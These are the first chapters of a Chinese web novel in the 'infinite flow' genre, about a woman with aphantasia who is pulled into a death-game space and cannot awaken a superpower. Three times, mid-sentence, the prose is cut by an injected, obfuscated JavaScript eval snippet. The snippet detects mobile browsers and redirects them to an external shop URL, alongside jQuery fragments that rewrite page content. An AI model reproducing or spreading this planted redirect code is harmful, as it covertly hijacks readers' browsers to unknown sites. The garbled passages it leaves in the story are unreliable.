《心盲症怎么打异能战 [无限]》 1. 进入空间 应凌心是被人群的嘈杂声吵醒的。 她动了动耳朵,听不清周围人在讲什么话,只感觉大脑隐隐约约地作痛。 她睁开眼,又半眯起来,强行让自己适应刺眼的光,试图搞清楚这是哪里。 眼前是一条热闹的街道,来来往往的人群不知道在忙些什么,有几道视线在光明正大地打量着自己。 应凌心低头掐了自己一把,挺疼的。但奇怪的是自己浑身上下都是完好的,甚至在正常地站立着。 ...从万里高空坠落的人有可能毫发无损吗? 应凌心的记忆还停留在自己坐在飞机上,一边高速下坠一边感慨死亡来得如此突然,下一刻,她就更突然地从这样一个陌生的地方醒来了。 她开始四处张望,看到一群和自己一样呆立在原地的人,有几个人的装束看起来很熟悉,应该是和自己同一航班的人。 直到她找到自己同航班的朋友,和她对上了眼神,看来也是意识到不对劲了。 应凌心走上前:“予盈,你怎么样,有受伤吗?” 商予盈摇摇头,刚要说话,就被一串突兀的铃声打断。 【叮——!您有一条新的系统消息】 口袋里手机的震动才让应凌心想起它的存在,她掏出手机,却发现这不是她的手机,也看不出是什么款式。 它原来的主人没有设置密码,她犹豫着打开了首页唯一的软件,手机屏幕瞬间被弹窗占满。 【恭喜您!死而复生,来到无限副本空间】 懂了,无限流。 应凌心没急着看,而是快速地往下划,划了好几下才划到底。 底部用加粗红字写着:【第一次强制副本将在48小时之后。】 果然,“安全期”是有时效的。 现在最重要的就是了解这个空间,但眼下似乎不是最适合专心看说明的环境,特别是在几个陌生人意图不明的注视下。 应凌心抬起头,和人群中的一个女人对上了视线。 对方意外地挑了下眉,慢悠悠地朝她走了过来。 “你这么快就看完了?” 女人厚重的波浪刘海把右眼遮挡在后,只露出左眼,浅色的瞳仁注视着她。 应凌心生怕对面的女人下一秒就把自己刀了,有点紧张:“还没有。” 女人像是被逗笑了,伸出左手,银灰色的尾戒碰了一下应凌心手里的手机。感觉慢条斯理的,应凌心却来不及躲开。 “别害怕,你仔细看就知道,空间是不允许玩家内斗的。” “好友申请发给你了,你要是后面有问题,可以随时找我。” “旁边的小妹妹也是哦。” 女人又不容拒绝地碰了商予盈的手机,像是想起来什么,提醒她们:“新人消息第二大段,会写你们的临时住所地址。” 紧接着转过身,又去和其它反应过来的新人交换联系方式。 应凌心和商予盈离开人群时,又有几个原本在打量她们的人热情地和她们加好友。 看这样子应该是情报贩子。 应凌心翻到女人提到的地址,发现上面贴心地附了个【马上导航】的超链接。 她一边向外走,一边和一旁的商予盈说:“咱俩住的地方一样,用我的导航吧,你先别把消息退出来,等下不能重新点开就完蛋了。” 鬼知道这个世界会不会把至关重要的说明书做成一次性的。 . ------------------------------------------------------ 导航显示的目的地不近,要走十几分钟。两人肩并肩地走着,商予盈在一边小声念起消息。 “玩家生存期限由空间赋予,在完成副本后由系统根据玩家副本数量进行更新。更新系数如下...这个你回头自己慢慢看。” “生存期限清零而未下副本者...死亡。” 商予盈皱了皱眉:“看这样子,我们下完第一个副本后两周,又要下第二个副本;然后再过一个月就得下第三次了。” “空间内有各式各样的副本,分为以下几大类:” “一:情节副本,最常见的副本类型,通常是要求玩家完成给定的任务。” “玩家选择进入情节副本前,将从三个情节副本中选择自己想要进入的副本。” “第一次进入情节副本的玩家可以在进入前看到各个副本的平均存活率。” “...还有些情节副本里的专有名词你等下慢慢看。” “二:对抗副本,仅C级及以上玩家可进入。” “...那这个目前不要紧,先跳过。” 商予盈接着往下念。 “三:斗兽场。” "...呃呃,这个是五进一大逃杀。" “四:问答副本。” “玩家需回答副本给出的问题,全部回答完即可离开。” “副本中死亡即为真正死亡。” “参与副本可获得积分和精神力,问答副本无法增加精神力。” “到第二部分了。” 商予盈抬头看了眼路,接着念。 “积分为本空间唯一通用货币。玩家间可自由交易积分,为保证公平,空间内禁止玩家无理由内斗。” “积分清零者...死亡。” “精神力为玩家异能的养料...原来还有异能啊。” “《异能觉醒手册》将由临时住所提供给新玩家。” “精神力不可量化,由玩家自行感知差异。” “新人玩家初始积分为200分。” “每日午夜0点,玩家将被系统自动扣除积分100点。” “最低级的住所一天也要100点积分,新玩家有一个月免费的临时住所。” 商予盈往前翻了翻:“它没写下副本会给多少积分。” 应凌心听着感觉有点发愁:“可别入不敷出啊...” . 应凌心和商予盈讨论了一些说明里含糊不清的地方,就比如,什么叫“玩家无理由内斗”? 谁来判定有没有理由? 应凌心只觉得个个是陷阱,处处有危险。 不知不觉,她们走到了目的地——一家酒店。 刚一靠近,就听见手机的提示声:【恭喜您,成功抵达临时住所!】 应凌心低头一看,屏幕上弹出一条信息:【将手机换成以下形态:「手环」、「吊坠」、「保持原样」、「自定义」】 她犹豫了一下,点了「手环」。手机在一瞬间融化成了蓝紫色的数据流,流向她的左手,像一条水蛇缠绕在她手腕上,被转化成了手环。 【成功绑定玩家「应凌心」,UID:7527401739,安全起见,请不要将您的UID告诉她人】 平静的电子女声在脑海中响起,应凌心忍不住在心里吐槽,这一长串数字谁能记得住啊。 她低头看了眼手环,发现可以查看自己的UID,感觉放心了。 两人走进了酒店,前台空无一人。 只有两个通体乳白色的机器人朝她们飘过来——不知道是靠什么悬浮着被驱动的,电子屏幕上显示着老气的微笑颜文字。 她们被各自引向自己的房间,应凌心在9楼,商予盈在7楼。 商予盈下电梯前,应凌心有样学样地拿自己的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099142|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环去碰她的吊坠:【已向玩家「商予盈」发送好友请求】 “回头联系。” 她朝对方挥了挥手。 . ------------------------------------------------------ 应凌心审视了一下自己的房间,和普通酒店没什么区别。 一张单人床、一套桌椅、一扇落地窗、一间浴室。 她走近窗边,窗外像是被蒙了一层雾,只能看到白花花的一片。 窗户的玻璃——或者说不知道是什么材质——看起来厚得出奇,把外面的世界隔绝在外。 应凌心走回桌前,重新翻了下系统发的介绍,感觉没漏掉什么至关重要的信息,又去看机器人发给自己的《异能觉醒手册》。 说是手册,实际上除了封面只有一页内容。 “精神力是异能的养料。” 这句话重复了。 “异能与玩家本人的精神力特质密切相关。” 什么是精神力特质? ...没说。 “道具为副本boss精神力的凝结物。” ...道具又是哪里冒出来的? “在对抗副本中击杀副本boss可获得道具,情节副本boss被击杀不会掉落道具。” “道具可交易。” 好吧,看来目前用不着考虑道具。 “异能觉醒方法:闭上双眼,直到脑海中浮现异能的样子。” ? 应凌心有点不确定,一字一字地重新看了一遍:“闭上双眼,直到脑海中浮现异能的样子。” 什么鬼? 应凌心半信半疑地闭上双眼,过了几分钟,无事发生。 可能是时间不够,她沉思了一下,又重新闭上了眼睛。 依旧无事发生。 手环传来震动,是商予盈给她发来消息。 【你觉醒了啥异能?我是空间类的。】 这人一看就没看过无限流小说,不知道异能不能轻易告诉别人。 【我还没觉醒TAT,你咋觉醒的呀?】 【就是你闭上眼睛,想象自己有异能,然后它就会出现在你眼前。就比如我看到了空间的线。】 【睁着眼应该也行,因为我刚才其实是睁着眼时就看到了的。闭眼估计是有助于排除干扰。】 有没有可能她的异能是空白,所以看不见? 商予盈接着说:【然后你就能自然而然地领悟到你的能力是什么?大概是这种感觉。】 好吧,看来不是因为异能本身被看不到。 ...等下。 【你说的看到,是字面意义上的看到吗?】 【对啊。】 【就是真的看到,不是脑海里想象出来的画面】 【是想象的画面啊。】 【就,你是真的看到了吗?】 【对,就是我看到的那一瞬间被激活的。】 ...... 完蛋了。 应凌心知道问题出在哪里了。 问题就在于,她看不到啊。 这世上有一小部分的人,无法“看”到脑海的画面,只能想到抽象的概念。 这种症状被称为“心盲症”。 很不巧的是,应凌心就有心盲症。 由于对生活没有太大影响,应凌心平时也不会想起来这件事。直到刚才,她才后知后觉地意识到。 她“看”不到,怎么觉醒异能? 应凌心清楚在这样危机四伏的世界没有异能意味着什么。 没想到啊,应凌心想着,还没重活多久,她马上又要死了。 2. 心盲 应凌心第一次知道心盲症,是在高中的时候。 那段时间她成天都在苦哈哈地背着英语单词,为此去网上搜了不少记忆方法。 一次她刷到了一篇名叫《为什么记忆宫殿对你没有效果》的帖子,点进去看了一阵,给自己确诊了一种新的“疾病”。[1] 文章表示记忆宫殿记忆法的原理是人大脑处理空间和视觉信息的能力远大于抽象信息,但这并不是对所有人都适用的。 有一些人,没有想象视觉,也就是说,她们的想象是没有画面的。相应地,处理视觉信息的能力就要弱很多。 这种症状被称为:“心盲症”。 应凌心下意识觉得有些扯,她长这么大都没听说过心盲症这个东西;再说了,本来想象就是没画面的啊? 谁能真的凭空想出画面啊,那不直接觉醒超能力了吗? 她认真地在网上查了很久,甚至顺着网线去看了几篇国外的文献,发现大部分人其实都是有字面意义上想象画面的“超能力”的。 心盲症是近些年才受人们重视的,原因很简单,大部分有心盲症的人没办法意识到自己的想象力跟别人有所不同。 她们没有意识到别人说的想象画面,是字面意义上的“能看到”;作文里写的浮现祖母的脸,是真的有一张脸冒了出来。 别人说自己想象出什么画面,她们也不会觉得奇怪,只会以为这是一个比喻。 直到有人因为各种原因后天获得了心盲症,发现自己原来能看到的想象画面全没了,人们才发现有人先天就是看不到想象的。 应凌心忽然觉得自己路痴和健忘的原因被找到了。 她马不停蹄地去和朋友求证,感觉有点郁闷——合着你们做几何题时全都有外挂啊?! 哪怕是朋友坚定地告诉她说自己确实能在脑海里看到鲜红色的五角星,应凌心还是半信半疑——真的能看到吗?不是把抽象概念误以为是“看到”吧? 应凌心好不容易接受了自己有心盲症的事实,没过两年,随着社交媒体变发达,越来越多的人开始听说心盲症的概念。 有心盲症的、没有心盲症的、有轻度心盲症的、没有但以为自己有的——很显然,有些能够看到想象画面的人也想象不出看不到是一种什么体验。 ...五花八门的人开始在网络上讨论心盲症。 甚至有部分人开始把它融入文学创作中,成为海量悲情情侣和淡漠性格的设定之一。 但实际上,应凌心觉得心盲症没有那么特别,甚至不觉得它对自己性格的形成有什么影响。 应凌心最开始知道自己有心盲症之后,查了很多资料,比如心盲症在人口中占大概4%,比如先天心盲症大部分是由于遗传。 但最主要的,她关心的是,心盲症的治疗方法。 得到的结果是没有办法,也不必治疗。 研究认为心盲症只是想象方式的不同,而不是缺陷。 这也是为什么大部分有心盲症的人都无法意识到自己的不同——她们并不是缺乏想象力。 只是她们的想象能力更多的是抽象的概念——这倒也没什么奇怪的,对大部分人来说“想象”本身听着就挺抽象的。 应凌心不知道研究的措辞是不是在安慰她们这些人,但至少普遍的说法是有心盲症的人逻辑和抽象概念想象能力会强一点,大概是另一种感觉补偿吧。[2] 自顾自地伤感一阵后,应凌心也就把这件事抛在脑后了。 虽然能想象出画面听着很吸引人,但抽象的想象能力也没什么不好的。 只是不同而已,没什么差的。 直到自己在坐飞机回国的中途飞机失事,被卷入这个无限流空间,需要觉醒自己的异能。 她才忽然想起来,自己“看”不到自己的想象。 这下是真的跟正常人差一个超能力了。 应凌心有点想掀桌:不科学啊,异能这种东西怎么想都应该是更需要抽象想象力的啊? . ------------------------------------------------------ 商予盈敲开应凌心房门后,看到的是一张憔悴的脸。 应凌心现在的心情很复杂,有种宣泄不出来的郁闷——大概任谁好端端地得知自己命不久矣都会这样。 但这不代表她就要认命等死。 应凌心翻出了之前那些“消息贩子”的好友申请,想了想,找到了最先加她的女人,问她有没有空。 女人很快发了个地址,让她过去。 好像是个人流密集的区域。 没有异能傍身的应凌心说实话哪里都不太敢去。 但再不想想办法她很快哪里都不用去了——直接入土,一步到位。 她想了想,和商予盈说明了自己的情况。 “我打算去找她打听一下有没有别的办法,顺便看看能不能得到一些关于副本的消息。” 应凌心感觉自己现在计划所有事时都有无尽的胆怯。她有点讨厌这样的自己。 商予盈沉默了一会:“正好我也想去打探下情报,我们可以一起。” 她犹豫了一下,抬起了自己的左手:“我刚刚练习了一阵,还没完全掌握。但我的能力是可以拨动空间的‘线’,进而改变空间。” 她一伸手,直接够到了两米外的台灯开关:“就像这样。” 酷,太酷了。应凌心在心里默默流泪,她也想有这样的异能。 两个人向外走着,商予盈忽然问她:“对了,律姐怎么样了?” “谁?”应凌心愣了半天,也没反应过来她问的律姐是谁。 “没事,回头再说。你有没有试过睁着眼觉醒能力?” “试了,也不行。真是让人发愁。”应凌心苦恼地挠了挠头,她低下头去看导航,试图掩盖自己表情的凝重。 . ------------------------------------------------------ 女人的名字叫陈烟,发来的地址就在她们醒来的地方附近。 她们跟着导航七拐八拐,走进了主街旁一条偏僻的小巷。 和主街的热闹不同,巷子里除了她们再没有其它人。 她们踏上一条红砖铺成的小道,不敢发出大的响动,跟着导航走到了一家院子前。 【目的地已到达!】 应凌心和商予盈反复确认了几次,就是这里。 ...应该不至于一敲门就被里面的人一招毙了吧? 应凌心敲了敲门,沉重的石门发出老态的闷响。 “进来吧。” 听到熟悉的声音,两人松了口气,推门走了进去。 门内是一座低调的四合院,中央种着一棵不知道是什么品种的树,高大的树枝上挂着零零散散的木牌。 现在已经将近傍晚,橙黄色的阳光洒在树枝上,把枝叶的影子铺在青石铺成的地上,延伸到一旁灰白色的墙壁上。 树下放着几把木质的摇椅,陈烟晃着身子,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099143|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们挥了挥手。 旁边还有一个人,一头刚过耳的短发,却在背后留了一缕长发,被编成一条细细的麻花辫,搭在肩上。 她穿着老派的中山装,上面隐隐约约地绣着什么图案。手腕上叠戴着几串珠子,手里还在盘着一串儿。 AUV,地儿地儿道儿道儿。 应凌心为自己在这种时候还能在心里吐槽而感到欣慰。 “这位是楚老板。” 陈烟没什么敬意地介绍道。 楚老板笑眯眯地朝她们看了过来,又笑眯眯地提问:“那个留狼尾的女孩儿,你没觉醒异能啊?” 留狼尾的应凌心感觉心跳漏了一拍:“您怎么知道?” “玩家到了一定程度可以看到新人玩家的精神力,你的精神力还在被封印着。” 还好,至少她还有精神力,只是不知道怎么激活。 “为什么没觉醒?你看不到?” 楚老板挥挥手示意两人坐下。 “对,我看不到我想象的画面。”应凌心感觉楚老板见多识广,内心燃起了一丝希望:“您知道这种情况怎么解决不?” “知道啊,我有朋友就是这种情况,用道具就行。” ...她这个新人看起来像是有道具的样子吗? “我碰巧有一个道具,你可以向我赊账,之后分期还给我。”楚老板伸出一根手指,在她面前晃了晃。 “一万积分?”应该不是一千,来的路上听路人说买个道具得倾家荡产。 打一阵子白工总比没命强。 “一百万。”楚老板笑盈盈地看着她。 ...... 疯了吧,她这辈子能赚一百万吗——虽然还不知道下一次副本能赚多少。 应凌心皱了皱眉,这相当于让她把后半辈子卖给眼前这个陌生人。 “你可以多考虑几天再和我说,不急的。”楚老板善解人意地说。 “您可能忘了,我们是新玩家,下一场副本就在不到两天后。” 我是新玩家,别说一分积分也没有,活都不一定能活下来啊。 “我有能让你们平安活过第一个副本的办法,但有个条件。” 不会是一百万积分吧? 楚老板慢条斯理地把玩自己的麻花辫:“你们第二个副本如果是进入情节副本的话,要告诉我你们进的是哪个副本。” “新人在第一次进情节副本前,系统会每天随机分配三个新人本给你们,你们可以看到副本的主题和存活率。如果碰到喜欢的,可以提前选,选完有48小时的准备时间。” “不过,这个福利要在你们完成第一个副本后才开启,大部分人第一个副本就是情节副本,所以很少有人发现。” “哪怕发现了,大部分人也会拖到最后两天系统把副本的选项锁死,或者没有积分了,才在最后一刻硬着头皮进副本。” “我要你们至少提前两天选好副本,然后告诉我是哪个副本。” 这是很有用的信息,她们根本不知道新玩家还有这种福利。看来楚老板还是有些诚意的——如果情报是真的的话。 应凌心和商予盈对视了一下,对方微微点了头。 “我们答应你。”应凌心也觉得两天在生路面前不算什么。 “问答副本。” 楚老板笑容中带着一丝不由分说的笃定,“问答副本不需要异能,而且第一次进问答副本的生存率是100%。不管有没有异能,我推荐的第一个副本都会是问答副本。” “你们去副本中心看看就知道了。” 3. 问答副本(上) 【很遗憾,回答错误。】 问答副本内,系统的电子音播报声在耳边响起。 当应凌心真的进入问答副本后,她感觉自己被楚老板坑害了。 . ------------------------------------------------------ 前一天,见完楚老板,应凌心和商予盈回到临时住所时,同时收到系统的消息通知: 【请玩家注意,距离第一次强制副本时限剩余:44小时44分钟44秒】 她们点开看时,秒数还在一秒一秒地往下减着。 这系统是懂人们忌讳的,特意选了个这么不吉利的时间点通知所有人。 进电梯后,商予盈犹豫着问应凌心晚上要不要她陪着。 应凌心这才笑了笑:“我是小孩子吗还要人陪?” 说着,率先按下了7楼的按钮。 刚觉醒异能的人就应该闷头练习。 商予盈走下电梯的时候,回头看到应凌心半倚在电梯里,笑嘻嘻地和她挥手:“好好休息。” . 应凌心回到房间,开始看之前加上的其余“情报贩子”的回信。 出发前,她试探性地询问这些人自己“有心盲症的朋友”该怎么办。 这么贸然透露自己没有觉醒能力固然危险,但她必须搜罗一切可能的办法给自己谋一条出路。 反正她也没什么可被贪图的了,再过几个小时,她浑身上下也就100积分。 结果并不理想。 有的人直接把她删了;有的人让她趁早找个靠山;有的人不知道是不是不知道她说的朋友是她自己,善意地提醒她早点准备给她“朋友”收尸。 “看不到异能啊,那没救了。” 应凌心眯了眯眼,令人心寒。 她舒了口气,起身去洗了个澡,吹了头发,换上了酒店衣柜里的衣服,庆幸至少酒店里没有什么规则怪谈。 她又看了一遍新人消息,然后躺在床上,感受着四肢在洗完澡后因为缺血产生的微弱的无力感。 大不了就去卖命吧,应凌心安慰自己。 她又一次闭上眼睛,试图去看到什么东西。 只有一些红黑色的像电视屏幕雪花一样的纹理,让人对不上焦,她觉得那是她的眼皮内部。 眼前是掺杂着噪点的黑色,应凌心开始想,她以前是怎么试图想象出画面的。 如果说她的脑海是一台损坏的显示器,至少光标是完好的。 就像人的视线可以聚焦一样,她的大脑也可以聚焦。 她可以把注意力集中在一个点上,然后开始移动,从而形成一条靠聚焦变化残留下来的线。 或者,她可以把注意力分散到两侧,然后不断挤压,形成概念上的边界。 但这不是一条她看得到的线。 就像她看不到苹果,看不到五角星,看不到祖母的脸,她也看不到这条线。 如果说别人的想象空间是一出舞台上的戏剧,她的舞台从一开始就被降下了幕布。[1] 她依然能感受到幕布后在演的是哪一场戏,她甚至可以闭着眼睛站在舞台中,去感受每一次演员改变位置时她身侧的风声。 但她看不到,她的脑海被一张无边的布遮盖着。 她试图认真地想、用力地想、费尽心思地想,就像她高中时初次得知自己有心盲症时那样,试图想看出一些什么东西。 但没有,什么都没有。 那个承载着她全部记忆、思想和抱负的大脑,又一次提醒应凌心,它不过是一个再普通不过的器官罢了。 但她还是在尝试着,直到午夜,紧贴在手腕上的系统震动着通知她被自动扣除了100积分。 应凌心划开页面,选中不再提示。然后看着天花板,什么都不干,只是眨眼。 该睡觉了,她想, 睡不着也得睡,明天还得去副本中心看看。 肚子在寂静的房间中突兀地响了起来。 应凌心翻了个身,蜷起身子,试图把胃挤压得小一点。 不知道酒店包不包早饭。 失策了,她莫名地想着, 坠机前应该找乘务员多要一份饭的。 . 应凌心躺尸一样躺了一整晚,天都快亮了,终于勉强睡了过去。 再一睁眼,已经十二点多了。 房间门口摆着机器人送来的早饭盒,上面摞着刚送来不久的午餐。 应凌心把饭端进房间,仔细检查了一番,包装的封条完好无损。她毫不犹豫地拆开来狼吞虎咽地吃着。 一边吃一边想,要是今晚能活着回来,得尽量早睡早起了。虽然包装是好的,但谁知道有没有能隔空下毒的超能力。 一口气把两顿的饭吃完,感觉头有点后知后觉得发晕。 她打开手机,看到商予盈九点多发来的消息:【咱们下午三点左右去副本中心看看吗?】 还有点时间,应凌心揉揉额角,硬逼着自己没有再躺回床上,起身去洗漱。 换了身衣服,她坐在桌前,看着窗外的白雾,开始继续昨晚的思考——她应该怎么活下去? . ------------------------------------------------------ 系统大概是生怕她们这些新人被老玩家提早忽悠,对于下副本次数没超过三次的新玩家,有专门开辟的通道。 应凌心和商予盈踏进给新手准备的副本大厅,里面的人三三两两地聚在一起,一眼望去大概也有好几十人了。 系统之前提到过,情节副本除了在副本中心之外,也可以直接在任何地点登入,大部分新玩家更倾向于在自己的临时住所登入——或者说,在临时住所拖到最后一刻被系统强赶着进去。 因此大厅里大部分人,目标都是其它类型的副本。 大厅中的人默默地把在斗兽场副本入口前站定的人隔离开——明明是新人,却已经是准备好手染鲜血的亡命之徒,她们眼底是压抑着疯狂的狠戾。 最空荡的是对抗副本,毕竟系统规定C级的玩家才可以进。应凌心翻过自己在系统里的资料,像她这样的新人是E级。 但也不是完全没人。 在应凌心左顾右盼地张望时,一个年轻的女生从她身侧擦肩而过。 女生走得不紧不慢,一头乌黑的头发刚过肩,服帖地搭在她肩上,没有被风带起来一根发丝。 她身上有股若有若无的铁锈味,引起了应凌心的注意。 也可能是血腥味,应凌心忍不住跟着转过了身,看到女人沉默地走向对抗副本的入口。 这是名最多下了两次副本后就升到C级的玩家。 应凌心忍不住多看了背影两眼,虽然还不知道玩家升级的标准,但两个副本升两级听着就不太简单——否则怎么会除了这位女生之外再没有其它人站在对抗副本入口。 太有本领了。女生的身影在她心中有多添了几分神秘——令人羡慕。 . 不少人和应凌心一样,想要进入问答副本。 应凌心和商予盈混迹在众人中,听着周围人的交谈,试图获得一些信息。 “你们没下过副本吧?” 旁边的女人主动问她们,腼腆地笑了笑。 “别紧张,我之前参加过一次这种副本,不能跟你们说太具体,但还是很容易的,比别的副本类型好多了。” “就是涨不了精神力,积分也太少了,得多下几次副本。” 看着是个不太外向的热心肠姐姐。 “不过你们消息还挺灵通的,”女人缩了缩脖子,感觉有点后怕,“我第一次随大流去了情节副本,太吓人了,还好有大佬带,好险才从里面活下来。” “问答副本就好多了,我也没什么大追求,活着就行。” 这话可不兴说啊,应凌心忍不住在心里吐槽。 她认真地向女人道谢,扭头去询问商予盈的意见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099144|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你想今天就下副本?”商予盈愣了愣。 “对,也不知道副本要多长时间,我听她们说,情节副本和对抗副本里的时间流速可能会跟外面不一样,但其它都是同样流速的。” “我要是结束得快了,可以在你进去之前跟你透透题。” 应凌心不太担心自己的存活问题,毕竟楚老板信誓旦旦地向她保证,刚才的热心姐姐也在说问答副本安全。 商予盈想了一阵子:“那还是一块吧,看样子她们都觉得挺简单,应该没太大危险。”她既不想被等,也不想当等人的那个。 “那也行。”应凌心看了看手环,“凑个整,四点半进去?” . ------------------------------------------------------ 向系统确认自己要进入问答副本后,伴随着一道强烈的白光,下一秒,应凌心发现自己身处一间纯白色的房间。 【欢迎玩家初次体验问答副本,正在掷骰子...点数:3,肢解轮盘】 ...这鬼名字听着怎么有点不妙啊。 房间内凭空出现了一套桌椅,和一个大转盘,上面分了六格,分别写着左臂、右臂、左腿、右腿、轮空、再来一次。 【玩家需要回答试卷上的五道题目,每题限时30分钟。每答错一题,轮盘转动一次,扣除相应的部位,并将原有的格子改为「再来一次」】 ...这是什么商鞅模拟器。 你管这叫100%存活率?!应凌心在心里疯狂骂街,完全不管善后是吧! 但已经进来了,再怎么抓狂也没用。 应凌心深呼吸几下,坐到桌前,又调整了下状态,翻开了第一页。 房间前面浮现了一块巨大的电子表,开始30分钟的倒计时。 . 【第一题:证明根号2为无理数】[2] 呃。 谁家无限流副本考数学啊? 应凌心感觉自己脑中闪过一些念头,但现在还不是细究的时候。她拿起笔,毫不犹豫地写起了答案。 第一次见到这个证明,是在大一的数学课上。因为当时第一次接触证明,对它印象比较深,以至于到现在还记得。 她写完,重新检查了两遍,才画下代表证毕的小方块。 系统很智能地询问她是否要提交答案,应凌心又一字一句地看了一遍自己的答案,选择了提交。 【恭喜,回答正确。】 试卷自动翻到了下一页,与此同时,前方的电子表重置到第30分钟,开始倒数。 【第二题:真空中的光速约为 ______ 】 【A. 3.00*10^8 米/秒】 【B. 340 米/秒】 【C. 3.00*10^9 米/秒】 【D. 3.40*10^9 米/秒】 应凌心感觉稍微放心了一点,还好不是考她什么普朗克常数或者质子质量。 不过这题选项出得有点反套路啊,她要是不会估计就蒙 C 了。 应凌心在选项 A 处挑了个勾,提交了答案。 【恭喜,回答正确。】 好,还是很顺利的。 应凌心感觉轻松了一点,看向了第三题。 【第三题:证实黎曼猜想】 ....... 不是? 开什么玩笑。 她要是能证出来黎曼猜想,估计现在全世界都在痛惜她的英年早逝了,哪至于像现在这样,在默默无闻地死去后还要拼了命地让自己别死第二次? 应凌心犹豫了很久,写道:“无法被证实,因为是错误的。” 万一是错的呢,尽管根据她上次听说的,已经被验证到10的十几次方了。[3] 拖到最后一刻,应凌心颤抖着把笔攥在手里,确认了提交。 系统冰冷的声音在她耳边响起: 【很遗憾,回答错误。】 4. 问答副本(下) 【很遗憾,回答错误。】 冰冷的电子音在应凌心耳边响起,紧接着,还没等她做出任何反应,双手就被一股无形的力拽到桌子的两边,连带着她的上半身不受控制地向前倾去。 桌面和地面凭空出现几条铁链,毫不留情地缠住了应凌心的四肢,让她动弹不得。 铁链上斑驳的暗红色不知道是铁锈还是前人的血迹,粗糙而冰冷的表面让她下意识挣扎了一下,铁链一下子绷紧,紧紧地钳着她的四肢,像是要嵌进她的血肉里。 应凌心被收紧的铁链压在了桌子上,只能艰难地抬头去看面前的转盘。 心跳在疯狂加速,她咬了咬口腔里的软肉,生怕自己下一秒就要昏过去。 【轮盘启动中。】 眼前的轮盘开始飞快地转动,转动着形成一整个看不清内容的圆面,然后慢慢地减速,每一个格子从圆盘顶部的指针下划过,一轮,又一轮。 应凌心死死地盯着轮盘,看着它的指针划过左臂、右腿...然后又一次划过左臂...然后又一次。 指针划过每一格需要花的时间越来越长,应凌心从未感觉时间的流逝如此煎熬。 轮盘缓缓停下,指针划过「轮空」,停在了「再来一次」上。 应凌心眼前一阵发黑,她感觉自己有些缺氧,只能硬逼着自己深呼吸。 【再来一次,轮盘重新启动中。】 同样漫长的一次煎熬,一滴汗珠顺着眉骨流进了她的右眼,她忍不住眨了下眼。 【轮空,恭喜玩家。】 指针在最后一刻跨过「右腿」,停在了「轮空」上。 下一秒,铁链一瞬间消失,转盘上唯一的一格「轮空」被改为了「再来一次」。 【倒计时重新开始,请玩家作答。】 电子表又一次从30分钟开始倒计时,不给人一点反应时间。 应凌心撑着桌子坐直了身子,克制不住地大口喘着气。眼睛因为高度充血闪出阵阵神经状的剪影,像闪电,却在这一刻让她觉得自己更加羸弱。 她的手腕刚才被铁链磨出了大大小小的伤痕,拿着笔的右手克制不住地颤抖着。 再写错一题,就再没有轮空的可能了。她的大脑尖叫着警告自己后果,她低下头,硬逼着自己去看题目。 【第四题:______ vie】[1] 【A. le】 【B. la】 【C. les】 ...哈哈。 她在这里担心自己会不会缺胳膊少腿,副本问她生命是女的还是男的。[1] 应凌心长这么大头一次庆幸自己学过一点法语。 或者说,她无比庆幸自己记得当初学这个单词时的自言自语——生命是母亲给的,当然是阴性词。 但她没有急着作答,只是听着还没从刚才的惊魂一刻恢复过来的心跳。 提交答案会让时间重置,她想利用这三十分钟恢复下状态。 应凌心放下笔,搓了搓手,手臂上被之前的铁链勒出了红痕,有的地方擦破了皮,还在隐隐作痛。 还好没流血,应凌心盯着电子表的倒计时发着呆,还剩24分钟,她的心跳终于恢复了正常。 她开始扭头观察房间,但实际没什么可看的,四周都是纯白色,只有眼前的电子表和转盘,像是被人凭空画上去的。 应凌心低头去看桌子的两侧,试图去找到之前出现的锁链的源头。 但无论再怎么看,眼前只是一套再普通不过的桌子,上面摆着一张再普通不过的卷子。 ...等下。 她的笔呢? 应凌心分明记得,自己刚才把笔好端端地放在了卷子旁边。 她赶紧把卷子举起来,下面是空荡荡的桌面。她弯下腰去看桌底,是满眼毫无杂质的白色。 她的笔凭空消失了。 就这么大点地方,能跑到哪儿去? 应凌心想站起来仔细找找,下肢却被一股无形的力量禁锢住。 她的心跳又升上来了。 应凌心抬头看了眼倒计时,还有16分钟。 “系统,我选B。” 寂静的房间突兀地被应凌心的声音打破,略带颤抖的尾音在狭小的空间里反常地形成回声。[2] 【请玩家填写试卷后提交答案。】 应凌心基本确定这是系统搞的鬼了。谁能想到笔不能被放下? 怎么办? 应凌心环顾四周,空荡的房间没有任何可以起作用的工具——就算有她也够不着。 …… 只需要打一个勾就可以。 她低头去看自己的双手。 血书也是书,血也能算作墨吧? 手臂上的伤口大多数都在肌肉处,离血管有些远;她也不太敢碰手腕上的血管,生怕血一流就止不住。 